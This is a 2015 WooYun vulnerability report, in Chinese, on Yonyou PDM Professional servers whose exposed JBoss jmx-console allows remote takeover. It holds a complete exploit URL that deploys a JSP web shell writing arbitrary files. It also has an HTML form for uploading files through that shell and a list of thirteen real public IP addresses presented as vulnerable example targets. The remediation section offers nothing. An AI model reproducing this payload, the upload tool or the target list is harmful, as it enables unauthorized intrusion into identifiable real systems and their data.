当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121695

漏洞标题:用友PDM Professional全版本通用型配置不当导致getshell

相关厂商:用友软件

漏洞作者: YY-2012

提交时间:2015-06-20 12:05

修复时间:2015-09-23 12:07

公开时间:2015-09-23 12:07

漏洞类型:默认配置不当

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-20: 细节已通知厂商并且等待厂商处理中
2015-06-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-19: 细节向核心白帽子及相关领域专家公开
2015-08-29: 细节向普通白帽子公开
2015-09-08: 细节向实习白帽子公开
2015-09-23: 细节向公众公开

简要描述:

rt

详细说明:

涉及:
用友PDM Professional 7.5
用友PDM Professional 6.5SP1
用友PDM Professional 7.2
用友PDM Professional 7.0
用友PDM Professional 6.0
详细看案例。
jboss未授权访问导致getshell

http://url/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True


以上访问会生成一个这样的路径文件“/upload5warn/shell.jsp”
再通过以下html可进行文件上传:

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>jsp-test</title>
</head>
<style>
.main{width:980px;height:600px;margin:0 auto;}
.url{width:300px;}
.fn{width:60px;}
.content{width:80%;height:60%;}
</style>
<script>
function upload(){
var url = document.getElementById('url').value,
content = document.getElementById('content').value,
fileName = document.getElementById('fn').value,
form = document.getElementById('fm');
if(url.length == 0){
alert("Url not allowd empty!");
return ;
}
if(content.length == 0){
alert("Content not allowd empty!");
return ;
}
if(fileName.length == 0){
alert("FileName not allowd empty!");
return ;
}
form.action = url;
form.submit();
}
</script>
<body>
<div class="main">
<form id="fm" method="post">
URL:<input type="text" value="http://url/upload5warn/shell.jsp" class="url" id="url" />
FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />
<a href="javascript:upload();">Upload</a><br/>
<textarea id="content" class="content" name="t" ></textarea>
</form>
</div>
</body>
</html>


案例:

http://180.166.124.214:8000/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://119.167.115.206:8000/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://202.118.67.104:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://218.108.82.12:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://118.114.247.62:8888/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://116.236.113.50:8000/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://61.145.96.228:8000/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://218.91.200.46:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://61.183.138.38:8000/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://202.118.67.104:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://125.71.239.148:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://218.108.82.12:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo
http://218.75.100.106:8000/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServerInfo

漏洞证明:

aaaaaaa1111111111111111.jpg


aaaaaaaaaa22222222222222.jpg


aaaaaaa3333333333.jpg

修复方案:

你们懂的。

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-23 12:07

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无